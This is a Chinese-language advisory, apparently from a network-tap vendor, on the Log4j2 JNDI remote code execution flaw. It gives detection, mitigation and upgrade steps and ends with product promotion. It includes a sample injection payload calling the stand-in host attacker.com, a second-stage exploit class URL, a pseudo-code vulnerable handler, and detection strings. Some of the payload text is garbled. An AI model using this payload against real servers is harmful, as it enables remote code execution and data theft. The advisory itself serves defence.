12月9日,工业和信息化部网络安全威胁和漏洞信息共享平台收到有关网络安全专业机构报告,阿帕奇Log4j2组件存在严重安全漏洞。工业和信息化部立即组织有关网络安全专业机构开展漏洞风险分析,召集阿里云、网络安全企业、网络安全专业机构等开展研判,通报督促阿帕奇软件基金会及时修补该漏洞,向行业单位进行风险预警。该漏洞可能导致设备远程受控,进而引发敏感信息窃取、设备服务中断等严重危害,属于高危漏洞。
Apache Log4j是一个基于Java的日志记录工具,Log4j 2是Log4j的升级产品。Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,原因是该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。漏洞PoC已在网上公开,默认配置即可进行利用,该漏洞影响范围极广,光利达建议相关用户尽快采取措施进行排查与防护。
Apache Struts2、Apache Solr、Apache Druid、Apache Flink、spring-boot-strater-log4j2等众多组件与大型应用均受影响。更多组件可参考如下链接:https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
受影响版本
${jndi:ldap://attacker.com/a}
,attacker.com
是攻击者控制的地址。attacker.com
请求。attacker.com
就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
。import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
1、相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能存在该漏洞。
2、若程序使用Maven打包,查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.0-rc2,则存在该漏洞。
3、若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0-rc2,则存在该漏洞。
攻击者在攻击过程中可能使用DNSLog进行漏洞探测,然后在发送的数据包请求中存在“jndi:ldap://”、“jndi:rmi”字样。我们可以通过流量监测设备实时监控,对dnslog相关域名访问进行检测。但为了提高系统监测效率和实时性,可通过OPlead(光利达)网络分路器过滤出所有网络访问POST和GET请求,从而实现在线安全检测系统高效率的对网络流量进行有针对性的阻断。
( 光利达网络分路器截图 )
在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true
系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true”
目前官方已发布log4j-2.15.0-rc2测试版本与apache-log4j-2.15.0稳定版修复该漏洞,受影响用户可先将Apache Log4j2所有相关应用到以上版本,建议用户在备份数据后再进行升级。下载链接:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2或https://logging.apache.org/log4j/2.x/download.html
北京光利达科技长久以来聚焦在网络安全体系中的采集阶段(网络流量采集部分),包括千兆TAP网络分路器、万兆TAP网络分路器、40GTAP网络分路器、100GTAP网络分路器等产品,对接各安全监控系统。旨在于把光利达TAP网络分路器产品做精做强,与全行业协作式整合,共建网络安全新生态,共同努力推动互联网安全高质量发展。